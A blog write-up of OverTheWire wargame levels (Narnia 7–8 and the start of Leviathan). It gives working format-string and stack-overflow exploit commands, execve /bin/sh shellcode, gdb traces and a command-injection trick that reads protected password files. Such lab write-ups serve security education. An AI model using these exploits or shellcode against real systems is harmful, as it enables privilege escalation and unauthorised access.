#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();  
int hackedfunction();

int vuln(const char *format){  
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){  
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){  
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){  
        printf("Way to go!!!!");
        fflush(stdout);
        system("/bin/sh");

        return 0;
}

It seems like there is a lot going on in this program, but a closer look reveals that we are trying our hand at a format string attack again.
Only this time, instead of writing a static value to a target address, we are attempting to replace the address at ptrf from goodfunction() to hackedfunction(). Luckily we are given most of the information:

narnia7@melinda:/narnia$ ./narnia7 perks  
goodfunction() = 0x80486e0  
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd63c)  
I guess you want to come to the hackedfunction...  
Welcome to the goodfunction, but i said the Hackedfunction.  

The only thing we are missing is the offset from the stack pointer to the start of our buffer, and we are not given a print statement to see this visually. However if you recall from the previous level, we can use gdb to figure this out:

(gdb) disas vuln  # this code is not in main
Dump of assembler code for function vuln:  
   0x080485cd <+0>:    push   ebp
   0x080485ce <+1>:    mov    ebp,esp
..... ...
   0x0804865e <+145>:    mov    DWORD PTR [ebp-0x8c],0x80486e0
   0x08048668 <+155>:    mov    eax,DWORD PTR [ebp+0x8]
   0x0804866b <+158>:    mov    DWORD PTR [esp+0x8],eax *** <- Addr of format
   0x0804866f <+162>:    mov    DWORD PTR [esp+0x4],0x80 ** <- sizeof buffer
   0x08048677 <+170>:    lea    eax,[ebp-0x88]
   0x0804867d <+176>:    mov    DWORD PTR [esp],eax ******* <- Addr of bufer
   0x08048680 <+179>:    call   0x80484c0 <snprintf@plt>
   0x08048685 <+184>:    mov    eax,DWORD PTR [ebp-0x8c]
=> 0x0804868b <+190>:    call   eax
(gdb) b *vuln+190
Breakpoint 1 at 0x804868b  
(gdb) r AAAA
Starting program: /games/narnia/narnia7 AAAA  
goodfunction() = 0x80486e0  
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd61c)  
I guess you want to come to the hackedfunction...

Breakpoint 1, 0x0804868b in vuln ()  
(gdb) x/24wx $esp 
# 0xfffd8b1 is last arg
0xffffd600:    0xffffd620  0x00000080  0xffffd8b1  0x08048238  
0xffffd610:    0xffffd678  0xf7ffda94  0x00000000  0x080486e0  
0xffffd620:    0x41414141  0x00000000  0x00000000  0x00000000  
0xffffd630:    0x00000000  0x00000000  0x00000000  0x00000000  
0xffffd640:    0x00000000  0x00000000  0x00000000  0x00000000  
0xffffd650:    0x00000000  0x00000000  0x00000000  0x00000000

We see its 6 words between our last argument until the start of our buffer, giving us our offset.

Also since the last level, I learned that there was an even easier way to figure out the offset without gdb and that is by using the tool ltrace which will actually show you the arguments and return of library function calls, letting us see the result of the snprintf:

narnia7@melinda:/narnia$ ltrace ./narnia7 AAAA%x%x%x%x%x%x  
__libc_start_main(0x804868f, 2, 0xffffd774, 0x8048740 <unfinished ...>  
memset(0xffffd630, '\0', 128)                                                                                 = 0xffffd630  
printf("goodfunction() = %p\n", 0x80486e0goodfunction() = 0x80486e0  
)                                                                    = 27
printf("hackedfunction() = %p\n\n", 0x8048706hackedfunction() = 0x8048706

)                                                                = 30
printf("before : ptrf() = %p (%p)\n", 0x80486e0, 0xffffd62cbefore : ptrf() = 0x80486e0 (0xffffd62c)  
)                                                  = 41
puts("I guess you want to come to the "...I guess you want to come to the hackedfunction...  
)                                                                   = 50
sleep(2)                                                                                                      = 0  
snprintf("AAAA8048238ffffd688f7ffda9408048"..., 128, "AAAA%x%x%x%x%x%x", 0x8048238, 0xffffd688, 0xf7ffda94, 0, 0x80486e0, 0x41414141) = 43  
puts("Welcome to the goodfunction, but"...Welcome to the goodfunction, but i said the Hackedfunction..  
)                                                                   = 61
fflush(0xf7fcaac0)                                                                                            = 0  
exit(0 <no return ...>  
+++ exited (status 0) +++

Now that we have the offset, crafting our payload should be as easy as following the table here and making sure we adjust for stack shifts (remember to escape $, e.g: %6\$hn):

narnia7@melinda:/narnia$ ./narnia7 $(python -c 'print "\x3e\xd6\xff\xff\x3c\xd6\xff\xff"')%.2044x%6\$hn%.32514x%7\$hn  
goodfunction() = 0x80486e0  
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd61c) # Need to adjust  
I guess you want to come to the hackedfunction...  
Welcome to the goodfunction, but i said the Hackedfunction..

# Adjusted
narnia7@melinda:/narnia$ ./narnia7 $(python -c 'print "\x1e\xd6\xff\xff\x1c\xd6\xff\xff"')%.2044x%6\$hn%.32514x%7\$hn  
goodfunction() = 0x80486e0  
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd61c)  
I guess you want to come to the hackedfunction...  
Way to go!!!!$ whoami  
narnia8  
$ cat /etc/narnia_pass/narnia8
**** Password Removed ****

Sweet! Next up, the final boss.


Level 8

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int i;

void func(char *b){  
        char *blah=b;
        char bok[20];
        //int i=0;

        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];

        printf("%s\n",bok);
}

int main(int argc, char **argv){

        if(argc > 1)
                func(argv[1]);
        else
        printf("%s argument\n", argv[0]);

        return 0;
}

For our final exploit we are given what looks like another buffer overflow -- but with a twist. It seems that no matter what we do, we can't get an overflow!

narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*1000')  
AAAAAAAAAAAAAAAAAAAAA���  
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*20000')  
AAAAAAAAAAAAAAAAAAAAA���  
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*200000')  
-bash: ./narnia8: Argument list too long

We can at most get 21 A's to appear, followed by some junk characters, no matter how many we input. As with most levels, let's jump into gdb for one last hurrah:

(gdb) set disassembly-flavor intel
(gdb) disas func
Dump of assembler code for function func:  
   0x0804842d <+0>:    push   ebp
   0x0804842e <+1>:    mov    ebp,esp
   0x08048430 <+3>:    sub    esp,0x38
   0x08048433 <+6>:    mov    eax,DWORD PTR [ebp+0x8] **** <- Address of b (passed in arg)

..... ...
   0x08048433 <+6>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048436 <+9>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048439 <+12>:    mov    DWORD PTR [esp+0x8],0x14
   0x08048441 <+20>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048449 <+28>:    lea    eax,[ebp-0x20] ************ <- Bok (Actual location)
   0x0804844c <+31>:    mov    DWORD PTR [esp],eax
   0x0804844f <+34>:    call   0x8048320 <memset@plt>
..... ...
   0x08048454 <+39>:    mov    DWORD PTR ds:0x80497b8,0x0   # Initialize index = 0
   0x0804845e <+49>:    jmp    0x8048486 <func+89>          # Do first post loop check

   ### Start loop ###
   0x08048460 <+51>:    mov    eax,ds:0x80497b8             # Load index
   0x08048465 <+56>:    mov    edx,DWORD PTR ds:0x80497b8
   0x0804846b <+62>:    mov    ecx,edx                      # ecx has index
   0x0804846d <+64>:    mov    edx,DWORD PTR [ebp-0xc] *** <- Pointer to blah
   0x08048470 <+67>:    add    edx,ecx                      # edx = (blah+i)
   0x08048472 <+69>:    movzx  edx,BYTE PTR [edx]           # edx = *(blah+i)
   0x08048475 <+72>:    mov    BYTE PTR [ebp+eax*1-0x20],dl # *(bok+i) = *(blah+i)
   0x08048479 <+76>:    mov    eax,ds:0x80497b8
   0x0804847e <+81>:    add    eax,0x1                      # increment index
   0x08048481 <+84>:    mov    ds:0x80497b8,eax
   ### Post loop check ###
   0x08048486 <+89>:    mov    eax,ds:0x80497b8             # Load index
   0x0804848b <+94>:    mov    edx,eax                                
   0x0804848d <+96>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048490 <+99>:    add    eax,edx                      
   0x08048492 <+101>:    movzx  eax,BYTE PTR [eax]          # Load *(blah+i)
   0x08048495 <+104>:    test   al,al                       # Test if at end
   0x08048497 <+106>:    jne    0x8048460 <func+51>
..... ...
   0x080484a0 <+115>:    mov    DWORD PTR [esp],0x8048580
   0x080484a7 <+122>:    call   0x80482f0 <printf@plt>
   0x080484ac <+127>:    leave
   0x080484ad <+128>:    ret
End of assembler dump.  

So there is a lot going on, most likely due to the complexity of a for loop doing the copying instead of a library function like strcpy. However I've heavily annotated the assembly and most of it should be easy to follow.

Now that we know where everything roughly lives, let us run the program with some arguments and see what is actually happening. Find the number of A's you can run without seeing the weird characters (for me this was 19)

(gdb) b *func + 127        
(gdb) r AAAAAAAA
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*19')  
AAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x080484ac in func ()  
(gdb) x/wx $ebp-0xc
0xffffd69c:    0xffffd8a5      # This is pointer to blah  
(gdb) x/wx $ebp-0x20
0xffffd678:    0x41414141      # This is start of our buffer, bok  
(gdb) x/48wx $esp
0xffffd660:    0x08048580  0xffffd678  0x00000014  0xf7e55f53  
0xffffd670:    0x00000000  0x00ca0000  0x41414141  0x41414141  
0xffffd680:    0x41414141  0x41414141  0x00414141  0xffffd8a5*   *<- *blah  
0xffffd690:    0x00000002  0xffffd754  0xffffd6b8  0x080484cd  
0xffffd6a0:    0xffffd8a5  0xf7ffd000  0x080484fb  0xf7fca000  
0xffffd6b0:    0x080484f0  0x00000000  0x00000000  0xf7e3ca63  
0xffffd6c0:    0x00000002  0xffffd754  0xffffd760  0xf7feacea  
0xffffd6d0:    0x00000002  0xffffd754  0xffffd6f4  0x080497a4  
0xffffd6e0:    0x0804820c  0xf7fca000  0x00000000  0x00000000  
0xffffd6f0:    0x00000000  0x47e1c50f  0x7fd8011f  0x00000000  
0xffffd700:    0x00000000  0x00000000  0x00000002  0x08048330  
0xffffd710:    0x00000000  0xf7ff0500  0xf7e3c979  0xf7ffd000

The above picture actually explains what is happening, and why we can seemingly input any large sized string as we want without overflowing.

First we know that the loop condition for copying our input to the buffer, bok, relies on traversing the string pointed to by the char *blah which starts dereferencing at 0xffffd8a5 (the location of our input), and stops when it reaches the 'end' or a null byte marking the end of string.

Now it seems that once we get to 20 characters in our input, we begin to overflow into the blah, effectively changing what it was pointing to. Once this happens, it no longer is pointing to our input, and so it copies over one last \x41 which overwrites the lowest order byte, giving you 21 A's. It scans our next 3 bytes which the remainder of our blah pointer, representing them as non-ascii characters before it reaches a null byte, and thus an overflow is averted in a very roundabout way.

You can see this behavior from the following dump:

Starting program: /games/narnia/narnia8 $(python -c 'print "A"*500')  
AAAAAAAAAAAAAAAAAAAAA���

Breakpoint 1, 0x080484ac in func ()  
(gdb) x/wx24$esp
A syntax error in expression, near `$esp'.  
(gdb) x/24wx $esp
0xffffd480:    0x08048580  0xffffd498  0x00000014  0xf7e55f53  
0xffffd490:    0x00000000  0x00ca0000  0x41414141  0x41414141  
0xffffd4a0:    0x41414141  0x41414141  0x41414141  0xffffd641*  *<- *blah pointer  
0xffffd4b0:    0x00000002  0xffffd574  0xffffd4d8  0x080484cd  
                     _ *b
                    |
                    v
0xffffd4c0:    0xffffd6c2* 0xf7ffd000  0x080484fb  0xf7fca000  
0xffffd4d0:    0x080484f0  0x00000000  0x00000000  0xf7e3ca63  

When we overflow into blah, there is the misalignment causes it to no longer point to what it was assigned to in the beginning (b, our input). The solution of course is that when we overflow, to rewrite blah to the actual location of b before continuing, adjusting for the position of our stack. Remember when you change your stack, you must adjust for the change in position in the stack as well. Always check to see where b has been set with x/wx $ebp+0x8. If you get an address, that means that is where b points to now, otherwise if you see your input string that means your string is properly formatted:

Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x10\xd6\xff\xff" + "A"*140')  
AAAAAAAAAAAAAAAAAAAAA��

Breakpoint 1, 0x080484ac in func ()  
(gdb) x/wx $ebp+0x8
0xffffd610:    0xffffd812  
(gdb) r $(python -c 'print "A"*20 + "\x12\xd8\xff\xff" + "A"*140')
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x12\xd8\xff\xff" + "A"*140')  
AAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  

So no we know how to overflow, the question becomes what do we overwrite. The answer is similar to what we did for a return-to-libc, only this case we are not overwriting a function call, but the function return of func itself to jump to a location we want.

In order to find the return address in the stack, you can always rely that while in the func context, the return address will always be held in $ebp+0x4 (x86 calling convention). You can verify this by also looking at the address of the next instruction after the call in main.

(gdb) x/wx $ebp+0x4
0xffffd6ac:    0x080484cd  
(gdb) x/24wx $esp
0xffffd670:    0x08048580  0xffffd688  0x00000014  0xf7e55f53  
0xffffd680:    0x00000000  0x00ca0000  0x41414141  0x00000041  
0xffffd690:    0x00000000  0x00000000  0x00000000  0xffffd8b1  
0xffffd6a0:    0x00000002  0xffffd764  0xffffd6c8  0x080484cd*  *<- Here  
0xffffd6b0:    0xffffd8b1  0xf7ffd000  0x080484fb  0xf7fca000  
0xffffd6c0:    0x080484f0  0x00000000  0x00000000  0xf7e3ca63  

There are 10 words from start of our buffer until the return address, therefore we need 36 bytes (making sure to correct blah in the process) + 4 bytes to get the overwrite.

# Note I progressively altered the overwrite of 'blah' every time I altered the input string

Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x8e\xd8\xff\xff" + "A"*12 + "\xef\xbe\xad\xde"')

Breakpoint 6, 0x080484a7 in func ()  
(gdb) x/wx $ebp+0x4
0xffffd68c:    0xdeadbeef  # Success  
(gdb)

We still have a problem, the buffer space we have of 20 A's and 12 A's respectively are not large enough to store my shellcode, which is 25 bytes long.

All is not lost however, since we are going to go back to what I mentioned in Level 2, and that is placing our shellcode instead at an environment variable, and setting our return address to instead jump to that.

While you can mess around with clearing the environment in gdb and working with *environ to find the address, this simple program will actually find the address of a target environment variable for you. With that lets try it out:

narnia8@melinda:/narnia$ export PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')  
# Make sure you call your binary exactly the same as you do with this program

# Direct call
narnia8@melinda:/narnia$ /tmp/getenvaddr PERKS ./narnia8  
PERKS will be at 0xffffdf66

# Full path call
narnia8@melinda:/narnia$ /tmp/getenvaddr PERKS /narnia/narnia8  
PERKS will be at 0xffffdf5a

# Going with direct call
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*20 + "\x8e\xd8\xff\xff" + "A"*12 + "\x66\xdf\xff\xff"')  
AAAAAAAAAAAAAAAAAAAA�A��  

Damn, that's right we have to adjust for gdb. To do this requires a bit of luck, but we can make our lives easier by trying to match the context of gdb with how we run our variable. We know about env -i which allows us to set a custom environment to run a binary. We also know about gdb and the *environ pointer.

By clearing our gdb environment and adding a placeholder env variable with our dimensions (size of var name + size of var payload), and recreating this with our binary, we minimize the distance betweeen gdb memory addresses and the normal program's during runtime:

(gdb) unset environ
Delete all environment variables? (y or n) y  
(gdb) b *main   # So we can examine our stack
(gdb) set env PERKS=AAAAAAAAAAAAAAAAAAAAAAAAA  # 25 bytes
(gdb) r
The program being debugged has been started already.  
Start it from the beginning? (y or n) y  
Starting program: /games/narnia/narnia8

Breakpoint 1, 0x080484ae in main ()  
(gdb) x/8s *environ
0xffffdfa8:    "PWD=/games/narnia"  
0xffffdfba:    "SHLVL=0"  
0xffffdfc2:    "PERKS=", 'A' <repeats 25 times>  
0xffffdfe2:    "/games/narnia/narnia8"  
0xffffdff8:    ""  
0xffffdff9:    ""  
0xffffdffa:    ""  
0xffffdffb:    ""  
(gdb) del break 1
(gdb) b *func+122
Breakpoint 2 at 0x80484a7

# See what it is at input size = 20
(gdb) r $(python -c 'print "A"*20')
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20')

Breakpoint 2, 0x080484a7 in func ()  
(gdb) x/24wx $esp
0xffffdda0:    0x08048580  0xffffddb8  0x00000014  0xf7e55f53  
0xffffddb0:    0x00000000  0x00ca0000  0x41414141  0x41414141  
0xffffddc0:    0x41414141  0x41414141  0x41414141  0xffffdf93  
0xffffddd0:    0x00000002  0xffffde94  0xffffddf8  0x080484cd  
0xffffdde0:    0xffffdf93  0xf7ffd000  0x080484fb  0xf7fca000  
0xffffddf0:    0x080484f0  0x00000000  0x00000000  0xf7e3ca63  
..... ...

# After figuring out offset...

(gdb) r $(python -c 'print "A"*20 + "\x7f\xdf\xff\xff" + "A"*12 +"\xef\xbe\xad\xde"')
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x7f\xdf\xff\xff" + "A"*12 +"\xef\xbe\xad\xde"')

Breakpoint 2, 0x080484a7 in func ()  
(gdb) x/24wx $esp
0xffffdd90:    0x08048580  0xffffdda8  0x00000014  0xf7e55f53  
0xffffdda0:    0x00000000  0x00ca0000  0x41414141  0x41414141  
0xffffddb0:    0x41414141  0x41414141  0x41414141  0xffffdf7f  
0xffffddc0:    0x41414141  0x41414141  0x41414141  0xdeadbeef  
0xffffddd0:    0xffffdf7f  0xf7ffd000  0x080484fb  0xf7fca000  
0xffffdde0:    0x080484f0  0x00000000  0x00000000  0xf7e3ca63  
(gdb) c
Continuing.  
AAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAᆳ����

Program received signal SIGSEGV, Segmentation fault.  
0xdeadbeef in ?? ()  

Okay now that we know our blah address with our input length (0xffffdf7f), and when input length doesn't overflow (0xffffdf93). The trick here is to recreate our environment, see what the base address of blah is at regular (20) size, find the difference between outside and inside gdb, then add that difference to 0xffffdf7f. We are also lucky since running the program will output what our blah is, so we can pipe it through xxd to get the hex value:

narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /narnia/narnia8 $(python -c 'print "A"*20') | xxd

0000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA  
0000010: 4141 4141 99df ffff 020a                 AAAA......

#  We see '0xffffdf99'
# '0xffffdf99 - 0xffffdf93' = 0x6   # our difference
# '0xffffdf7f + 0x6' = '0xffffdf85' # our new 'blah'

Now let's find where our environment variable is going to be located. Remember we have to run this too with our custom environment, and make sure how you called the narnia8 binary between gdb and this is consistent!

narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /tmp/getenvaddr PERKS /narnia/narnia8

PERKS will be at 0xffffdfce  

Now all is left is to run the full command:

narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /narnia/narnia8 $(python -c 'print "A"*20 + "\x85\xdf\xff\xff" + "A"*12 +"\xce\xdf\xff\xff"')  
AAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA��������  
$ whoami
narnia9  
$ cat /etc/narnia_pass/narnia9
**** Password Removed ***

narnia8@melinda:ssh [email protected]

Welcome to the OverTheWire games machine !

narnia9@melinda:~$ ls  
CONGRATULATIONS  
narnia9@melinda:~$ cat CONGRATULATIONS  
you are l33t! next plz...

All right!

That was a really tricky set of things to do and getting the mapping between gdb and outside of it is tedious and very frustrating. If it is not working for you, I recommend you triple check that everything you are doing is matching up (calling with same path name, from the same directory, including all environment variables), and after that try wiggling the address of blah a bit.


And with that last level, we have wrapped up and finished Narnia!

Hopefully you are quite comfortable with the basic techniques you have learned here, and are ready to apply them to more difficult scenarios where the main vulnerability is not quite as obvious.

It was a lot of fun going back through the exploits and digging into the internals, and I hope you learned something from this entire process.

Until next time!

]]>
<![CDATA[Leviathan Writeup (Intro to GDB)]]>Leviathan is one of the easier wargames on OverTheWire that doesn't require too much programming knowledge, but does provide a gentle introduction to the general format of capture the flag games.

Each level requires you to leverage some sort of 'exploit' in order to obtain a password that allows you

]]>
https://cplusperks.com/leviathan/3da511bf-6129-4835-bfe5-4e85eedc5733Fri, 12 Jun 2015 05:14:14 GMT

Leviathan is one of the easier wargames on OverTheWire that doesn't require too much programming knowledge, but does provide a gentle introduction to the general format of capture the flag games.

Each level requires you to leverage some sort of 'exploit' in order to obtain a password that allows you to ssh into the next level.

Also it is expected that you have some prior knowledge of C programming and x86 assembly conventions (especially how functions are called, what different instructions do, the purpose of specific registers, etc). If not I would highly recommend going through Learn C The Hard Way and looking up a crash course in x86.

While there are many ways to solve these exercises, I will be focusing on using gdb to act as a resource for people out there trying to get familiar with it. The explanations will get more terse once basic things are gone over, ask questions in the comments if you are wondering about a logical jump that doesn't make sense!


Table of Contents


Level 0:

This is just an introduction that doesn't take too much time. A listing of hidden directories shows a hidden folder in which inside is an html file containing a bunch of random links. A simple grep should more than suffice, and sure enough, we get the password:

leviathan0@melinda:~$ ls -al  
total 24  
drwxr-xr-x   3 root       root       4096 Nov 14  2014 .  
drwxr-xr-x 167 root       root       4096 May  3 12:32 ..  
drwxr-x---   2 leviathan1 leviathan0 4096 Feb 10 18:08 .backup  
-rw-r--r--   1 root       root        220 Apr  9  2014 .bash_logout
-rw-r--r--   1 root       root       3637 Apr  9  2014 .bashrc
-rw-r--r--   1 root       root        675 Apr  9  2014 .profile
leviathan0@melinda:~$ cd .backup/  
leviathan0@melinda:~/.backup$ ls  
bookmarks.html  
leviathan0@melinda:~/.backup$ grep "pass" bookmarks.html  
*** Password Removed ***

Level 1

We get a binary called check which running seems to ask for a password prompt.

In CTFs, most of the time binaries aren't stripped of debugging information (which makes using gdb a lot harder), but let us just make sure:

leviathan1@melinda:~$ file check  
check: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0d17ae20f672ebc7d440bb4562277561cc60f2d0, not stripped  

Awesome, looks like it's intact. Let's fire up gdb to see if we can get any information:

leviathan1@melinda:~$ gdb -q check  
Reading symbols from check...(no debugging symbols found)...done.  
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:  
   0x0804852d <+0>:    push   ebp
   0x0804852e <+1>:    mov    ebp,esp
   0x08048530 <+3>:    and    esp,0xfffffff0
   0x08048533 <+6>:    sub    esp,0x30
   0x08048536 <+9>:    mov    eax,gs:0x14
   0x0804853c <+15>:    mov    DWORD PTR [esp+0x2c],eax
   0x08048540 <+19>:    xor    eax,eax
   ........ .....
   0x080485a3 <+118>:    mov    DWORD PTR [esp+0x4],eax
   0x080485a7 <+122>:    lea    eax,[esp+0x14]
   0x080485ab <+126>:    mov    DWORD PTR [esp],eax
   0x080485ae <+129>:    call   0x80483b0 <strcmp@plt>
   0x080485b3 <+134>:    test   eax,eax
   0x080485b5 <+136>:    jne    0x80485c5 <main+152>
   ........ .....

Let's explain a little. The -q flag provided to gdb simply starts it in 'quiet' mode and removes a lot of the clutter on startup (not necessary). set disassembly-flavor intel formats the x86 instructions in a way that I prefer.

Doing disas main is usually a good place to start examining instructions, and scanning down we are looking for something that resembles a string comparison. Lo-and-behold, we find it:

0x080485ae <+129>:    call   0x80483b0 <strcmp@plt>  

We know that strcmp is a function that takes two arguments as strings. Lets see what is being passed to it:

  0x0804859f <+114>:    lea    eax,[esp+0x18]
  0x080485a3 <+118>:    mov    DWORD PTR [esp+0x4],eax
  0x080485a7 <+122>:    lea    eax,[esp+0x14]
  0x080485ab <+126>:    mov    DWORD PTR [esp],eax
  0x080485ae <+129>:    call   0x80483b0 <strcmp@plt>
....
(gdb) b *main+129
Breakpoint 1 at 0x80485ae  
(gdb) r
Starting program: /home/leviathan1/check  
password: hey

Breakpoint 1, 0x080485ae in main ()  
(gdb) x/s $esp+0x18
0xffffd698:    "sex"  
(gdb) x/s $esp+0x14
0xffffd694:    "hey"  
(gdb)

After setting a breakpoint at strcmp (using it's offset from main), we give the program a password and resume execution. Looking at the assembly, we see two addresses being loaded into eax before passed to the comparison call, and examining these addresses reveals two strings, our passed in, "hey", and another string, "sex", which must be the target of the comparison.

On an aside, the 'examine' function of gdb is super useful and you should read up on it here.

Anyways, we try again with our new password, and we get a shell! (Make sure to quit gdb)

leviathan1@melinda:~$ ./check  
password: sex  
$ whoami
leviathan2  
$ cat /etc/leviathan_pass/leviathan2
*** Password Removed ***

Of course we could just use the utility ltrace which shows library calls, giving us the answer, but it's good to get comfortable with messing around in memory since not all comparison checks will involve single library calls.


Level 2

Lets try running this:

leviathan2@melinda:~$ ./printfile  
*** File Printer ***
Usage: ./printfile filename  
leviathan2@melinda:~$ echo "testing" > /tmp/lv2/e  
leviathan2@melinda:~$ ./printfile /tmp/lv2/e  
testing  
leviathan2@melinda:~$ ln -s /etc/leviathan_pass/leviathan3 /tmp/lv2/pass  
leviathan2@melinda:~$ ./printfile /tmp/lv2/pass  
You cant have that file...  

So it seems to print whatever the target is, but wont let us access files we don't have permission to. Time to turn to GDB:

...... ....
   0x08048587 <+90>:    mov    DWORD PTR [esp+0x4],0x4
   0x0804858f <+98>:    mov    DWORD PTR [esp],eax
   0x08048592 <+101>:    call   0x8048420 <access@plt> <===
   0x08048597 <+106>:    test   eax,eax
   0x08048599 <+108>:    je     0x80485ae <main+129>
...... ....
   0x080485d7 <+170>:    lea    eax,[esp+0x2c]
   0x080485db <+174>:    mov    DWORD PTR [esp],eax
   0x080485de <+177>:    call   0x80483e0 <system@plt> <===
   0x080485e3 <+182>:    mov    eax,0x0
   0x080485e8 <+187>:    mov    edx,DWORD PTR [esp+0x22c]
   0x080485ef <+194>:    xor    edx,DWORD PTR gs:0x14

There are a couple of interesting things going on. The first is the call to access, which must be what is gauging which files we can print. The second is system, and a raw system call is always a point for vulnerabilities. Let's plop down a breakpoint and see what is getting passed in.

(gdb) b *main+177
Breakpoint 1 at 0x80485de  
(gdb) r /tmp/lv2/e
Starting program: /home/leviathan2/printfile /tmp/lv2/e

Breakpoint 1, 0x080485de in main ()  
(gdb) x/s $eax
0xffffd49c:    "/bin/cat /tmp/lv2/e"  
(gdb)

System is execing cat on our argument we passed in. But looking a bit above we see snprintf writing to a buffer at an address.

...... ....
   0x080485bb <+142>:    mov    DWORD PTR [esp+0x8],0x80486d4 <==
   0x080485c3 <+150>:    mov    DWORD PTR [esp+0x4],0x1ff
   0x080485cb <+158>:    lea    eax,[esp+0x2c]
   0x080485cf <+162>:    mov    DWORD PTR [esp],eax
   0x080485d2 <+165>:    call   0x8048410 <snprintf@plt>
...... ....
(gdb) x/s 0x80486d4
0x80486d4:    "/bin/cat %s"  

There is a simple string substitution from our argument that forms the string that is passed inside system. Let us try to pass in a malformed argument and see what happens, at both access and system

leviathan2@melinda:~$ cd /tmp  
leviathan2@melinda:/tmp$ mkdir tmpl2  
leviathan2@melinda:/tmp$ cd tmpl2  
leviathan2@melinda:/tmp/tmpl2$ touch "filename space"  
leviathan2@melinda:/tmp/tmpl2$ gdb -q ~/printfile  
....... ....
(gdb) b *main+101
Breakpoint 1 at 0x8048592 <= access  
(gdb) b *main+177
Breakpoint 2 at 0x80485de <= system  
(gdb) r "filename space"
Starting program: /home/leviathan2/printfile "filename space"

Breakpoint 1, 0x08048592 in main ()  
(gdb) x/s $eax
0xffffd893:    "filename space"  
(gdb) c
Continuing.

Breakpoint 2, 0x080485de in main ()  
(gdb) x/s $eax
0xffffd49c:    "/bin/cat filename space"  

It looks like we have an inconsistency. Although access is being called on our target file, because it is passed in through string format, the way cat works is by displaying the output of each argument passed in in sequence, delineated by spaces. Therefore while we check permissions for a single file, the system call treats it as attempting to cat two different files. What happens if we do a symbolic link to take advantage of this?

leviathan2@melinda:/tmp/tmpl2$ ln -s /etc/leviathan_pass/leviathan3 .  
leviathan2@melinda:/tmp/tmpl2$ echo "w00t" > "gimme leviathan3"  
leviathan2@melinda:/tmp/tmpl2$ ls -al  
total 1104  
drwxrwxr-x    2 leviathan2 leviathan2    4096 Jun 12 15:47 .  
drwxrwx-wt 5833 root       root       1118208 Jun 12 15:47 ..  
-rw-rw-r--    1 leviathan2 leviathan2       5 Jun 12 15:47 gimme leviathan3
lrwxrwxrwx    1 leviathan2 leviathan2      30 Jun 12 15:47 leviathan3 -> /etc/leviathan_pass/leviathan3  
leviathan2@melinda:/tmp/tmpl2$ ~/printfile "gimme leviathan3"  
/bin/cat: gimme: No such file or directory
*** Password Removed ****

Sweet!


Level 3

This is another easy one to solve with ltrace, but lets brush up our gdb skills. It seems this is another password prompt binary. Loading it up gives us a strcmp function that we should probably examine:

...... ....
   0x0804867d <+127>:    lea    eax,[esp+0x31]  <=== second arg
